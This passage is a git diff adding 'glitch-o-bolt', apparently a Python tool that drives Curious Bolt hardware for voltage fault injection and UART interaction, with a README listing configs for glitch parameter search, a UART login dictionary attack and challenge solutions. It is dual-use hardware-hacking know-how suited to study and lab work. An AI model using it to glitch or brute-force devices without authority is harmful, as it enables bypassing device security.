+use the **"-c"** flag to specify a config file. eg.
+
+```
+$> python3 glitch-o-bolt.py -c ConfigBaudBrute.py
+```
+
+If no config file is specified it will automatically try to use "config.py" or create it if it doesnt exist.
+
+---
+
+## Configs Included
+
+- **ConfigDemoAll** - Example to demo config file capabilities and values that can be set
+- **ConfigBaudBrute** - Example to determine baud rate for UART
+- **ConfigGlitchBrute** - Example to automatically find glitching lengths and offsets
+- **ConfigLoginBrute** - Example to bruteforce a UART login using a dictionary attack
+- **ConfigChall02** - Curious Bolt Level 1, Challenge 2 Solution
+- **ConfigChall03** - Curious Bolt Level 1, Challenge 3 Solution
+- **ConfigChall04** - Curious Bolt Level 1, Challenge 4 Solution
\ No newline at end of file
diff --git a/functions.py b/functions.py
new file mode 100644
index 0000000..66279b0
--- /dev/null
+++ b/functions.py
@@ -0,0 +1,766 @@
+import sys
+import os
+import re
+import time
+import serial
+import importlib
+from scope import Scope
+from textual.widgets import Button, Input, Switch
+from textual.containers import Vertical
+
+import asyncio
+import functions
+
+DEBUG_MODE = False
+
+app_instance = None  # Global variable to store the app instance
+text_area = None     # Store global reference to scrollable text area
+config = None        # dynamic loading of config file
+log_time = 0         # timestamp for logfile
+glitch_time = 0      # timestamp for when glitching started
+
+try:
+    s = Scope()
+except IOError:
+    s = None
+    print("Warning: Scope not connected, running in simulation mode")
+
+def set_config(cfg):
+    global config
+    config = cfg
+
+def set_app_instance(app):
+    """Store the app instance for UART access"""
+    global app_instance
+    app_instance = app
+
+def log_message(message):
+    if DEBUG_MODE:  
+        with open("debug.log", "a") as log_file:
+            log_file.write(message + "\n")
+
+def set_log_time(value):
+    global log_time
+    log_time = value
+
+def set_glitch_time(value):
+    global glitch_time
+    glitch_time = value
+
+def get_config_value(name: str) -> int:
+    """Return the latest value of the given config variable, and create them if they don't exist."""
+    if name == "length":
+        if not hasattr(config, "LENGTH"):
+            config.LENGTH = 0  # Default value if not set
+        return config.LENGTH
+    elif name == "repeat":
+        if not hasattr(config, "REPEAT"):
+            config.REPEAT = 0  # Default value if not set
+        return config.REPEAT
+    elif name == "serial_port":
+        if not hasattr(config, "SERIAL_PORT"):
+            config.SERIAL_PORT = "/dev/ttyUSB0"  # Default value if not set
+        return config.SERIAL_PORT
+    elif name == "baud_rate":
+        if not hasattr(config, "BAUD_RATE"):
+            config.BAUD_RATE = 115200  # Default value if not set
+        return config.BAUD_RATE
+    elif name == "delay":
+        if not hasattr(config, "DELAY"):
+            config.DELAY = 0  # Default value if not set
+        return config.DELAY
+    elif name == "log_time":
+        return log_time  # Return the module variable directly
+    elif name == "glitch_time":
+        return glitch_time  # Return the module variable directly
+    elif name == "conFile":
+        if not hasattr(config, "CONFILE"):
+            config.CONFILE = "config.py"  # Or any suitable default
+        return config.CONFILE
+    elif name.startswith("trigger_"):
+        if "_value" in name:
+            index = int(name.split('_')[1])
+            return config.triggers[index][0]
+        elif "_state" in name:
+            index = int(name.split('_')[1])
+            return config.triggers[index][1]
+    else:
+        return 0  # Default fallback for unknown names
+
+def set_config_value(name: str, value: int):
+
+    if hasattr(config, name.upper()):
+        current_value = getattr(config, name.upper())
+        setattr(config, name.upper(), value)
+
+        # Update corresponding Input field
+        input_field = app_instance.query_one(f"#{name}_input")
+        input_field.value = str(value)
+
+        # Update the status box row
+        update_status_box(app_instance, name, value)
+
+        # Refresh UI to reflect changes
+        app_instance.refresh()
+
+def get_condition_string(index):
+    """Returns the string from the triggers list at the given index."""
+    if 0 <= index < len(config.conditions):
+        return config.conditions[index][0]  # Return the string value
+    else:
+        raise IndexError("Index out of range")
+
+def get_condition_value(index):
+    """Returns the value from the triggers list at the given index."""
+    if 0 <= index < len(config.conditions):
+        return config.conditions[index][1]  # Return the boolean value
+    else:
+        raise IndexError("Index out of range")
+
+def set_condition_value(index: int, value: bool) -> None:
+    """Update switch state in config"""
+    if 0 <= index < len(config.conditions):
+        if app_instance.query(f"#condition_switch_{index}"):
+            switch = app_instance.query_one(f"#condition_switch_{index}", Switch)  
+            switch.value = value  # Force turn off
+    else:
+        raise IndexError("Index out of range")
+
+def ensure_triggers_exist():
+    if not hasattr(config, "triggers") or not config.triggers or len(config.triggers) < 8:
+        config.triggers = [["-", False] for _ in range(8)]
+
+def get_trigger_string(index):
+    """Returns the string from the triggers list at the given index."""
+    if 0 <= index < len(config.triggers):
+        return config.triggers[index][0]  # Return the string value
+    else:
+        raise IndexError("Index out of range")
+
+def get_trigger_value(index):
+    """Returns the value from the triggers list at the given index."""
+    if 0 <= index < len(config.triggers):
+        return config.triggers[index][1]  # Return the boolean value
+    else:
+        raise IndexError("Index out of range")
+
+def set_trigger_value(index, value):
+    if 0 <= index < len(config.triggers):
+        switch = app_instance.query_one(f"#trigger_switch_{index}", Switch)  
+        switch.value = value  # Force turn off
+    else:
+        raise IndexError("Index out of range")
+
+def set_trigger_string(index: int, value: str):
+    # Validate the input value
+    valid_values = ["^", "v", "-"]
+    if value not in valid_values:
+        raise ValueError(f"Invalid trigger value. Must be one of {valid_values}")
+
+    # Update config
+    config.triggers[index][0] = value
+    config.triggers[index][1] = False
+
+    # Update the symbol display in the UI
+    symbol_widget = app_instance.query_one(f"#trigger_symbol_{index}")
+    symbol_widget.update(value)
+
+    # Update the switch in the UI
+    switch_widget = app_instance.query_one(f"#trigger_switch_{index}")
+    switch_widget.value = False
+
+def toggle_trigger(self, index: int):
+    current_symbol = config.triggers[index][0]
+    cycle = ["^", "v", "-"]
+    next_symbol = cycle[(cycle.index(current_symbol) + 1) % len(cycle)]
+
+    # Update config
+    config.triggers[index][0] = next_symbol
+    config.triggers[index][1] = False
+
+    # Update the symbol display in the UI
+    symbol_widget = self.query_one(f"#trigger_symbol_{index}")
+    symbol_widget.update(next_symbol)
+
+    # Update the switch in the UI
+    switch_widget = self.query_one(f"#trigger_switch_{index}")
+    switch_widget.value = False
+    log_message("next symbol: "+next_symbol)
+
+def set_uart_switch(state: bool | None = None) -> None:
+    switch_uart = app_instance.query_one("#uart_switch")
+    if state is None:
+        switch_uart.value = not switch_uart.value  # Toggle
+    else:
+        switch_uart.value = state  # Set to specific state
+
+def modify_value(variable_name: str, amount: int) -> int:
+    """
+    Modify a global variable by a given amount.
+    
+    Args:
+        variable_name (str): The name of the variable to modify.
+        amount (int): The amount to increment or decrement.
+
+    Returns:
+        int: The updated value.
+    """
+    global config  # Ensure we modify the variables from config.py
+
+    if variable_name == "length":
+        config.LENGTH += amount
+        return config.LENGTH
+    elif variable_name == "repeat":
+        config.REPEAT += amount
+        return config.REPEAT
+    elif variable_name == "delay":
+        config.DELAY += amount
+        return config.DELAY
+    else:
+        raise ValueError(f"Unknown variable: {variable_name}")
+
+def on_button_pressed(app, event: Button.Pressed) -> None:
+    """Handle button presses and update values dynamically."""
+    button = event.button
+    button_name = button.name
+
+    if button_name:
+        # Strip everything before the first hyphen, including the hyphen itself
+        button_name = button_name.split("-", 1)[-1]  # Get the part after the first hyphen
+        
+        parts = button_name.split("_")
+        if len(parts) == 2:
+            variable_name, amount = parts[0], int(parts[1])
+
+            # Update the variable value in config.py
+            if hasattr(config, variable_name.upper()):
+                current_value = getattr(config, variable_name.upper())
+                new_value = current_value + amount
+                setattr(config, variable_name.upper(), new_value)
+
+                # Update corresponding Input field
+                input_field = app.query_one(f"#{variable_name}_input")
+                input_field.value = str(new_value)
+
+                # Update the status box row
+                update_status_box(app, variable_name, new_value)
+
+                # Refresh UI to reflect changes
+                app.refresh()
+
+def on_save_button_pressed(app, event: Button.Pressed) -> None:
+    """Handle the Save button press to save the values."""
+    button = event.button
+    button_name = button.name
+
+    if button_name:
+        variable_name = button_name.replace("save_val-", "")
+        variable_name = variable_name.replace("_save", "")  # Extract the variable name from button
+        input_field = app.query_one(f"#{variable_name}_input", Input)
+
+        new_value = int(input_field.value)
+        setattr(config, variable_name.upper(), new_value)
+        
+        update_status_box(app, variable_name, new_value)
+        app.refresh()
+
+def save_uart_settings(app, event: Button.Pressed) -> None:
+
+    cur_uart_port = str(app.query_one(f"#uart_port_input", Input).value)
+    cur_baud_rate = int(app.query_one(f"#baud_rate_input", Input).value)
+
+    config.SERIAL_PORT = cur_uart_port
+    config.BAUD_RATE = cur_baud_rate
+
+    main_content = app.query_one(".main_content", Vertical)
+    main_content.border_title = f"{config.SERIAL_PORT} {config.BAUD_RATE}"
+    app.refresh()
+
+def change_baudrate(new_baudrate):
+    """Change the baud rate using the app_instance's serial connection"""
+    if app_instance is None:
+        add_text("[ERROR] App instance not available")
+        return False
+    
+    if not hasattr(app_instance, 'serial_connection'):
+        add_text("[ERROR] No serial connection in app instance")
+        return False
+
+    input_field = app_instance.query_one(f"#baud_rate_input")
+    input_field.value = str(new_baudrate)
+    
+    serial_conn = app_instance.serial_connection
+    
+    if serial_conn is None or not serial_conn.is_open:
+        add_text("[ERROR] Serial port not initialized or closed")
+        return False
+    
+    try:
+        old_baudrate = serial_conn.baudrate
+        serial_conn.baudrate = new_baudrate
+        config.BAUD_RATE = new_baudrate
+
+        main_content = app_instance.query_one(".main_content", Vertical)
+        if functions.get_config_value("log_time") == 0:
+            main_content.border_title = f"{config.SERIAL_PORT} {config.BAUD_RATE}"
+        else:
+            time = str(functions.get_config_value("log_time"))
+            main_content.border_title = f"{config.SERIAL_PORT} {config.BAUD_RATE} \\[{time}.log]"
+        
+        return True
+        
+    except ValueError as e:
+        add_text(f"[ERROR] Invalid baud rate {new_baudrate}: {e}")
+    except serial.SerialException as e:
+        add_text(f"[ERROR] Serial error changing baud rate: {e}")
+        # Attempt to revert
+        try:
+            serial_conn.baudrate = old_baudrate
+        except:
+            add_text("[WARNING] Failed to revert baud rate")
+    return False
+
+def update_status_box(app, variable_name, new_value):
+    column_keys = list(app.status_box.columns.keys())
+
+    # We only have two columns: "Attribute" and "Value"
+    if variable_name == "length":
+        row_key = list(app.status_box.rows.keys())[0]  # The first row
+        column_key = column_keys[1]  # The Value column for 'length'
+    elif variable_name == "repeat":
+        row_key = list(app.status_box.rows.keys())[1]  # The first row
+        column_key = column_keys[1]  # The Value column for 'repeat'
+    elif variable_name == "delay":
+        row_key = list(app.status_box.rows.keys())[2]  # The first row
+        column_key = column_keys[1]  # The Value column for 'delay'
+    elif variable_name == "elapsed":
+        row_key = list(app.status_box.rows.keys())[3]  # The first row
+        column_key = column_keys[1]  # The Value column for 'delay'
+
+    app.status_box.update_cell(row_key, column_key, str(new_value))
+
+def run_custom_function(app, event):
+    """Handle custom function buttons with enhanced logging"""
+    button = event.button
+    button_name = button.name
+    debug = DEBUG_MODE  # Set to False after testing
+
+    log_message(f"[CUSTOM] Button pressed: '{button_name}'")
+
+    if button_name:
+        try:
+            variable_name = int(button_name.replace("custom_function-", ""))
+            log_message(f"[CUSTOM] Condition index: {variable_name}")
+
+            if 0 <= variable_name < len(config.conditions):
+                func_name = config.conditions[variable_name][3]
+                log_message(f"[CUSTOM] Executing: {func_name}")
+                
+                # Use the centralized execution function
+                success = execute_condition_action(func_name, debug)
+                
+                if not success:
+                    log_message(f"[CUSTOM] Failed to execute {func_name}")
+            else:
+                log_message(f"[CUSTOM] Invalid index: {variable_name}")
+
+        except ValueError:
+            log_message(f"[CUSTOM] Invalid button format: '{button_name}'")
+        except Exception as e:
+            log_message(f"[CUSTOM] Error: {str(e)}")
+            if debug:
+                log_message(f"[DEBUG] {traceback.format_exc()}")
+
+def write_to_log(text: str, log_time: int):
+    """Write text to a log file named {log_time}.log in the logs directory"""
+    # Create logs directory if it doesn't exist
+    logs_dir = "logs"
+    if not os.path.exists(logs_dir):
+        os.makedirs(logs_dir)
+    
+    # Create filename using log_time value
+    log_file = os.path.join(logs_dir, f"{log_time}.log")
+    
+    # Append text to log file
+    with open(log_file, "a") as f:
+        f.write(f"{text}")
+
+def add_text(text):
+    """Add text to the log widget and optionally to a log file"""
+    if hasattr(functions, 'text_area'):
+        functions.text_area.write(text + "\n")
+    
+    log_time = get_config_value("log_time")
+    if log_time > 0:
+        write_to_log(text+"\n", log_time)
+
+def update_text(text):
+    """Update text without adding newlines"""
+    if hasattr(functions, 'text_area'):
+        functions.text_area.write(text)
+
+def save_config(app):
+    config_file = get_config_value("conFile")
+    temp_file = config_file + ".tmp"
+    new_file = str(app.query_one(f"#config_file_input", Input).value)
+    
+    try:
+        # Get current values
+        serial_port = get_config_value("serial_port")
+        baud_rate = get_config_value("baud_rate")
+        length = get_config_value("length")
+        repeat = get_config_value("repeat")
+        delay = get_config_value("delay")
+        
+        # Get triggers
+        triggers = []
+        for i in range(8):
+            triggers.append([
+                get_config_value(f"trigger_{i}_value"),
+                get_config_value(f"trigger_{i}_state")
+            ])
+        
+        # Read existing config
+        existing_content = ""
+        custom_functions = []
+        imports = []
+        if os.path.exists(config_file):
+            with open(config_file, 'r') as f:
+                existing_content = f.read()
+            
+            # Extract imports and functions
+            import_pattern = re.compile(r'^import .+?$|^from .+? import .+?$', re.MULTILINE)
+            imports = import_pattern.findall(existing_content)
+            
+            func_pattern = re.compile(r'^(def \w+\(.*?\):.*?)(?=^(?:def \w+\(|\Z))', re.MULTILINE | re.DOTALL)
+            custom_functions = [fn.strip() for fn in func_pattern.findall(existing_content) if fn.strip()]
+        
+        # Write new config file
+        with open(temp_file, 'w') as f:
+            # Write imports
+            if imports:
+                f.write("######\n# LEAVE THESE IMPORTS!\n######\n")
+                f.write("\n".join(imports) + "\n\n")
+            
+            # Write config values
+            f.write("######\n# config values\n######\n\n")
+            f.write(f"SERIAL_PORT = {repr(serial_port)}\n")
+            f.write(f"BAUD_RATE = {baud_rate}\n\n")
+            f.write(f"LENGTH = {length}\n")
+            f.write(f"REPEAT = {repeat}\n")
+            f.write(f"DELAY = {delay}\n\n")
+            
+            # Write triggers
+            f.write("###\n# ^ = pullup, v = pulldown\n###\n")
+            f.write("triggers = [\n")
+            for i, (value, state) in enumerate(triggers):
+                f.write(f"    [{repr(value)}, {state}],  #{i}\n")
+            f.write("]\n")
+            
+            # Write conditions if they exist
+            if hasattr(config, 'conditions') and config.conditions:
+                f.write("\n###\n# name, enabled, string to match\n###\n")
+                f.write("conditions = [\n")
+                for condition in config.conditions:
+                    f.write(f"    {condition},\n")
+                f.write("]\n")
+            
+            # Write custom functions with proper spacing
+            if custom_functions:
+                f.write("\n######\n# Custom functions\n######\n")
+                f.write("\n\n".join(custom_functions))
+                f.write("\n")  # Single newline at end
+        
+        # Finalize file
+        if os.path.exists(new_file):
+            os.remove(new_file)
+        os.rename(temp_file, new_file)
+        config.CONFILE = new_file
+        add_text(f"[SAVED] config {new_file} saved")
+        
+    except Exception as e:
+        log_message(f"Error saving config: {str(e)}")
+        if os.path.exists(temp_file):
+            os.remove(temp_file)
+        raise
+
+def start_serial():
+    try:
+        ser = serial.Serial(
+            port=config.SERIAL_PORT,
+            baudrate=config.BAUD_RATE,
+            timeout=0.1,          # Read timeout (seconds)
+            write_timeout=1.0,    # Write timeout
+            inter_byte_timeout=0.05, # Between bytes
+            exclusive=True,        # Prevent multiple access
+            rtscts=True,           # Enable hardware flow control
+            dsrdtr=True            # Additional flow control
+        )
+        add_text("Connected to serial port.")
+        return ser
+    except serial.SerialException as e:
+        add_text(f"[ERROR] Serial exception: {e}")
+        return None
+
+def send_uart_message(message):
+    """Send a message via UART from anywhere in the application"""
+    if not app_instance:
+        log_message("[UART] Not sent - No app instance")
+        return False
+    
+    if not hasattr(app_instance, 'serial_connection') or not app_instance.serial_connection.is_open:
+        log_message("[UART] Not sent - UART disconnected")
+        return False
+    
+    try:
+        # Ensure message ends with newline if it's not empty
+        if message and not message.endswith('\n'):
+            message += '\n'
+        
+        # Send the message
+        app_instance.serial_connection.write(message.encode('utf-8'))
+        log_message(f"[UART] Sent: {message.strip()}")
+        return True
+    except Exception as e:
+        log_message(f"[UART TX ERROR] {str(e)}")
+        return False
+
+def get_conditions_buffer_size(debug=False):
+    """Return the maximum length of condition strings with debug option"""
+    if not hasattr(config, 'conditions') or not config.conditions:
+        if debug:
+            log_message("[DEBUG] No conditions defined, using default buffer size 256")
+        return 256
+    
+    valid_lengths = [len(cond[2]) for cond in config.conditions if cond[2]]
+    if not valid_lengths:
+        if debug:
+            log_message("[DEBUG] All condition strings are empty, using default buffer size 256")
+        return 256
+    
+    max_size = max(valid_lengths)
+    if debug:
+        log_message(f"[DEBUG] Calculated buffer size: {max_size} (from {len(config.conditions)} conditions)")
+    return max_size
+
+def check_conditions(self, buffer, debug=False):
+    """Check buffer against all conditions by examining every position"""
+    if debug:
+        log_message(f"[DEBUG] Checking buffer ({len(buffer)} chars): {repr(buffer)}")
+        
+    if not hasattr(config, 'conditions') or not config.conditions:
+        if debug:
+            log_message("[DEBUG] No conditions to check against")
+        return None
+        
+    for i, condition in enumerate(config.conditions):
+        trigger_str = condition[2]
+        if not trigger_str:  # Skip empty trigger strings
+            continue
+            
+        trigger_len = len(trigger_str)
+        buffer_len = len(buffer)
+        
+        if debug:
+            log_message(f"[DEBUG] Checking condition {i} for '{trigger_str}' (length: {trigger_len})")
+        
+        # Check every possible starting position in the buffer
+        for pos in range(buffer_len - trigger_len + 1):
+            # Compare slice of buffer with trigger string
+            if buffer[pos:pos+trigger_len] == trigger_str:
+                try:
+                    condition_active = config.conditions[i][1]  # Get state from config
+                    
+                    if not condition_active:
+                        if debug:
+                            log_message(f"[DEBUG] Condition {i} matched at position {pos} but switch is OFF")
+                        continue
+                    
+                    if debug:
+                        log_message(f"[DEBUG] MATCHED condition {i} at position {pos}: {condition[0]} -> {condition[3]}")
+                    return condition[3]
+                    
+                except Exception as e:
+                    if debug:
+                        log_message(f"[DEBUG] Condition check failed for {i}: {str(e)}")
+                    continue
+    
+    if debug:
+        log_message("[DEBUG] No conditions matched")
+    return None
+
+def execute_condition_action(action_name, debug=False):
+    """Execute the named action function using run_custom_function logic"""
+    if debug:
+        log_message(f"[ACTION] Attempting to execute: {action_name}")
+    
+    try:
+        # Check if action exists in config module
+        module_name = 'config'
+        module = importlib.import_module(module_name)
+        
+        if hasattr(module, action_name):
+            if debug:
+                log_message(f"[ACTION] Found {action_name} in {module_name}")
+            getattr(module, action_name)()
+            return True
+        
+        # Check if action exists in functions module
+        if hasattr(sys.modules[__name__], action_name):
+            if debug:
+                log_message(f"[ACTION] Found {action_name} in functions")
+            getattr(sys.modules[__name__], action_name)()
+            return True
+        
+        # Check if action exists in globals
+        if action_name in globals():
+            if debug:
+                log_message(f"[ACTION] Found {action_name} in globals")
+            globals()[action_name]()
+            return True
+        
+        log_message(f"[ACTION] Function '{action_name}' not found in any module")
+        return False
+        
+    except Exception as e:
+        log_message(f"[ACTION] Error executing {action_name}: {str(e)}")
+        if debug:
+            log_message(f"[DEBUG] Full exception: {traceback.format_exc()}")
+        return False
+
+def get_glitch_elapsed():
+    gtime = get_config_value("glitch_time")
+    if gtime <= 0:
+        return "000:00:00"
+    # Assuming gtime contains the start timestamp
+    elapsed = int(time.time() - gtime)
+    return f"{elapsed//3600:03d}:{(elapsed%3600)//60:02d}:{elapsed%60:02d}"
+
+def start_glitch(glitch_len, trigger_repeats, delay):
+    s.glitch.repeat = glitch_len
+    s.glitch.ext_offset = delay
+    #add_text(f"[GLITCHING]: length:{glitch_len}, offset:{delay}, repeat:{trigger_repeats}")
+            
+    triggers = [] # Get triggers
+    triggers_set = False
+    for i in range(8):
+        triggers.append([
+            get_config_value(f"trigger_{i}_value"),
+            get_config_value(f"trigger_{i}_state")
+        ])
+    for i, (value, state) in enumerate(triggers):
+        if state is True:
+            triggers_set = True
+            if value == "^":
+                #add_text(f"[GLITCHING]: armed: {i} ^")
+                s.arm(i, Scope.RISING_EDGE)
+            elif value == "v":
+                #add_text(f"[GLITCHING]: armed: {i} v")
+                s.arm(i, Scope.FALLING_EDGE)
+
+    if triggers_set is False:
+        #add_text(f"[GLITCHING]: repeat:{trigger_repeats}")
+        for _ in range(trigger_repeats):
+            s.trigger()
+
+def launch_glitch():
+    length = functions.get_config_value("length")
+    repeat = functions.get_config_value("repeat")
+    delay = functions.get_config_value("delay")
+    start_glitch(length, repeat, delay)
+
+async def glitch(self):
+    functions.log_message("[GLITCHING] Starting glitch monitor")
+    previous_gtime = None  # Track the previous state
+    
+    while True:
+        try:
+            gtime = get_config_value("glitch_time")
+            elapsed_time = get_glitch_elapsed()
+            functions.update_status_box(self, "elapsed", elapsed_time)
+            
+            # Only update if the state has changed
+            #if gtime != previous_gtime:
+            if gtime > 0:
+                self.status_box.border_subtitle = "running"
+                self.status_box.styles.border_subtitle_color = "#5E99AE"
+                self.status_box.styles.border_subtitle_style = "bold"
+
+                length = functions.get_config_value("length")
+                repeat = functions.get_config_value("repeat")
+                delay = functions.get_config_value("delay")
+                start_glitch(length, repeat, delay)
+            else:
+                self.status_box.border_subtitle = "stopped"
+                self.status_box.styles.border_subtitle_color = "#B13840"
+                self.status_box.styles.border_subtitle_style = "none"
+                
+                #previous_gtime = gtime  # Update the previous state
+
+        except Exception as e:
+            print(f"Update error: {e}")
+        
+        await asyncio.sleep(0.1)
+
+def glitching_switch(value):
+    switch = app_instance.query_one("#glitch-switch", Switch)  
+    switch.value = value  # Force turn off
+
+def run_output_high(gpio, time):
+    s.io.add(gpio, 1, delay=time)
+    s.io.upload()
+    s.trigger()
+
+def run_output_low(gpio, time):
+    s.io.add(gpio, 0, delay=time)
+    s.io.upload()
+    s.trigger()
+
+async def monitor_buffer(self):
+    """Background task to monitor serial buffer for conditions"""
+    debug = True
+    buffer_size = functions.get_conditions_buffer_size(debug)
+    
+    functions.log_message("[CONDITIONS] Starting monitor")
+    
+    while self.run_serial:
+        if not getattr(self, '_serial_connected', False):
+            await asyncio.sleep(1)
+            continue
+            
+        async with self.buffer_lock:
+            current_buffer = self.serial_buffer
+            max_keep = buffer_size * 3  # Keep enough buffer to catch split matches
+            
+            if len(current_buffer) > max_keep:
+                # Keep last max_keep characters, but ensure we don't cut a potential match
+                keep_from = len(current_buffer) - max_keep
+                # Find the last newline before this position to avoid breaking lines
+                safe_cut = current_buffer.rfind('\n', 0, keep_from)
+                if safe_cut != -1:
+                    keep_from = safe_cut + 1
+                self.serial_buffer = current_buffer[keep_from:]
+                current_buffer = self.serial_buffer
+                if debug:
+                    log_message(f"[DEBUG] Truncated buffer from {len(current_buffer)+keep_from} to {len(current_buffer)} chars")
+        
+        if current_buffer:
+            action = functions.check_conditions(self, current_buffer, debug)
+            if action:
+                functions.log_message(f"[CONDITIONS] Triggering: {action}")
+                success = functions.execute_condition_action(action, debug)
+                
+                if success:
+                    async with self.buffer_lock:
+                        # Clear the buffer after successful match
+                        self.serial_buffer = ""
+                else:
+                    functions.log_message("[CONDITIONS] Action failed")
+        
+        await asyncio.sleep(0.1)
+
+def clear_text():
+    text_area.clear()
+
+def end_program():
+    exit()
\ No newline at end of file
diff --git a/glitch-o-bolt.py b/glitch-o-bolt.py
new file mode 100644
index 0000000..aba439b
--- /dev/null
+++ b/glitch-o-bolt.py
@@ -0,0 +1,527 @@
+#!/usr/bin/env python3
+#
+# glitch-o-matic 2.0 - Optimized Version
+# Enhanced serial data performance while maintaining all existing features
+#
+# requirements: textual
+import os
+import sys
+import time
+import types
+import argparse
+import importlib.util
+import concurrent.futures
+
+import asyncio
+import select
+import serial
+import functools
+
+from scope import Scope
+from textual import events
+from textual.app import App, ComposeResult
+from textual.containers import Container, Vertical, Horizontal, Grid
+from textual.widgets import Static, DataTable, Input, Button, Switch, Log
+from textual.messages import Message
+
+# Define specific names for each control row
+control_names = ["length", "repeat", "delay"]
+
+def load_config(path):
+    spec = importlib.util.spec_from_file_location("dynamic_config", path)
+    module = importlib.util.module_from_spec(spec)
+    spec.loader.exec_module(module)
+    
+    # Inject the loaded config as 'config'
+    sys.modules['config'] = module
+
+class PersistentInput(Input):
+    PREFIX = "$> "  # The permanent prefix
+
+    def __init__(self, **kwargs):
+        super().__init__(**kwargs)
+        self.value = self.PREFIX  # Set initial value
+
+    def on_input_changed(self, event: Input.Changed) -> None:
+        """Ensure the prefix is always present."""
+        if not event.value.startswith(self.PREFIX):
+            self.value = self.PREFIX  # Restore the prefix
+        elif len(event.value) < len(self.PREFIX):
+            self.value = self.PREFIX  # Prevent deleting
+
+def set_app_instance(app):
+    functions.app_instance = app
+
+class SerialDataMessage(Message):
+    def __init__(self, data: str):
+        super().__init__()  # Call the parent class constructor
+        self.data = data  # Store the serial data
+
+class LayoutApp(App):
+    CSS_PATH = "style.tcss"
+
+    async def on_ready(self) -> None:
+        #set_app_instance(self)
+        self.run_serial = True
+        self.serial_buffer = ""  # Add buffer storage
+        self.buffer_lock = asyncio.Lock()  # Add thread-safe lock
+        try:
+            functions.s = Scope()
+        except IOError:
+            s = None
+            print("Warning: Scope not connected, running in simulation mode")
+        
+        # Start both serial tasks
+        asyncio.create_task(self.connect_serial())
+        asyncio.create_task(functions.monitor_buffer(self))
+        asyncio.create_task(functions.glitch(self))
+        functions.log_message("[DEBUG] Serial tasks created")
+
+    async def connect_serial(self):
+        """Stable serial connection with proper error handling"""
+        switch_uart = self.query_one("#uart_switch")
+        
+        while self.run_serial:
+            if switch_uart.value:
+                if not getattr(self, '_serial_connected', False):
+                    try:
+                        # Close existing connection if any
+                        if hasattr(self, 'serial_connection') and self.serial_connection:
+                            self.serial_connection.close()
+                        
+                        # Establish new connection
+                        self.serial_connection = functions.start_serial()
+                        if self.serial_connection and self.serial_connection.is_open:
+                            # Configure for reliable operation
+                            self.serial_connection.timeout = 0.5
+                            self.serial_connection.write_timeout = 1.0
+                            self._serial_connected = True
+                            functions.log_message("[SERIAL] Connected successfully")
+                            asyncio.create_task(self.read_serial_loop())
+                        else:
+                            raise serial.SerialException("Connection failed")
+                    except Exception as e:
+                        self._serial_connected = False
+                        functions.log_message(f"[SERIAL] Connection error: {str(e)}")
+                        switch_uart.value = False
+                        await asyncio.sleep(2)  # Wait before retrying
+            else:
+                if getattr(self, '_serial_connected', False):
+                    if hasattr(self, 'serial_connection') and self.serial_connection:
+                        self.serial_connection.close()
+                    self._serial_connected = False
+                    functions.log_message("[SERIAL] Disconnected")
+            
+            await asyncio.sleep(1)  # Check connection status periodically
+
+    async def read_serial_loop(self):
+        """Serial reading that perfectly preserves original line endings"""
+        buffer = ""
+        
+        while self.run_serial and getattr(self, '_serial_connected', False):
+            try:
+                # Read available data (minimum 1 byte)
+                data = await asyncio.get_event_loop().run_in_executor(
+                    None,
+                    lambda: self.serial_connection.read(max(1, self.serial_connection.in_waiting))
+                )
+                
+                if data:
+                    decoded = data.decode('utf-8', errors='ignore')
+                    
+                    # Store raw data in condition monitoring buffer
+                    async with self.buffer_lock:
+                        self.serial_buffer += decoded
+                    
+                    # Original character processing
+                    for char in decoded:
+                        if char == '\r':
+                            continue
+                        
+                        buffer += char
+                        
+                        if char == '\n':
+                            self.post_message(SerialDataMessage(buffer))
+                            buffer = ""
+                    
+                    if buffer:
+                        self.post_message(SerialDataMessage(buffer))
+                        buffer = ""
+                
+                await asyncio.sleep(0.01)
+                
+            except serial.SerialException as e:
+                functions.log_message(f"[SERIAL] Read error: {str(e)}")
+                self._serial_connected = False
+                break
+            except Exception as e:
+                functions.log_message(f"[SERIAL] Unexpected error: {str(e)}")
+                await asyncio.sleep(0.1)
+
+    async def monitor_conditions(self):
+        """Background task to monitor serial buffer for conditions with debug"""
+        debug = functions.DEBUG_MODE  # Set to False to disable debug logging after testing
+        buffer_size = functions.get_conditions_buffer_size(debug)
+        
+        if debug:
+            functions.log_message("[DEBUG] Starting condition monitor")
+            functions.log_message(f"[DEBUG] Initial buffer size: {buffer_size}")
+            functions.log_message(f"[DEBUG] Current conditions: {config.conditions}")
+        
+        while self.run_serial:
+            if hasattr(self, '_serial_connected') and self._serial_connected:
+                # Get a snapshot of the buffer contents
+                async with self.buffer_lock:
+                    current_buffer = self.serial_buffer
+                    if debug and current_buffer:
+                        functions.log_message(f"[DEBUG] Current buffer length: {len(current_buffer)}")
+                    
+                    # Keep reasonable buffer size
+                    if len(current_buffer) > buffer_size * 2:
+                        self.serial_buffer = current_buffer = current_buffer[-buffer_size*2:]
+                        if debug:
+                            functions.log_message(f"[DEBUG] Trimmed buffer to {len(current_buffer)} chars")
+                
+                # Check for conditions
+                action = functions.check_conditions(self, current_buffer, debug)
+                if action:
+                    if debug:
+                        functions.log_message(f"[DEBUG] Executing action: {action}")
+                    functions.execute_condition_action(action, debug)
+                elif debug and current_buffer:
+                    functions.log_message("[DEBUG] No action triggered")
+        
+        await asyncio.sleep(0.1)  # Check 10 times per secon
+
+    async def on_key(self, event: events.Key) -> None:
+        """Handles input with proper newline preservation"""
+        if event.key == "enter" and self.input_field.has_focus:
+            text_to_send = self.input_field.value
+            
+            # Preserve exact input (don't strip) but ensure newline
+            if not text_to_send.endswith('\n'):
+                text_to_send += '\n'
+            
+            # Check if serial_connection exists and is open
+            serial_connection = getattr(self, 'serial_connection', None)
+            if serial_connection is not None and serial_connection.is_open:
+                try:
+                    # Send raw bytes exactly as entered
+                    await asyncio.get_event_loop().run_in_executor(
+                        None,
+                        lambda: serial_connection.write(text_to_send.encode('utf-8'))
+                    )
+                    
+                    # Echo to console with prefix
+                    display_text = f"> {text_to_send.rstrip()}"
+                    functions.add_text(display_text)
+                    
+                except Exception as e:
+                    functions.log_message(f"[UART TX ERROR] {str(e)}")
+                    functions.add_text(">> Failed to send")
+            else:
+                functions.add_text(">> Not sent - UART disconnected")
+            
+            self.input_field.value = ""
+            event.prevent_default()
+
+    async def on_serial_data_message(self, message: SerialDataMessage) -> None:
+        """Display serial data exactly as received"""
+        if hasattr(functions, 'text_area'):
+            # Write the data exactly as it should appear
+            functions.text_area.write(message.data)
+
+            log_time = functions.get_config_value("log_time")
+            if log_time > 0:
+                functions.write_to_log(message.data, log_time)
+            #functions.add_text(message.data)
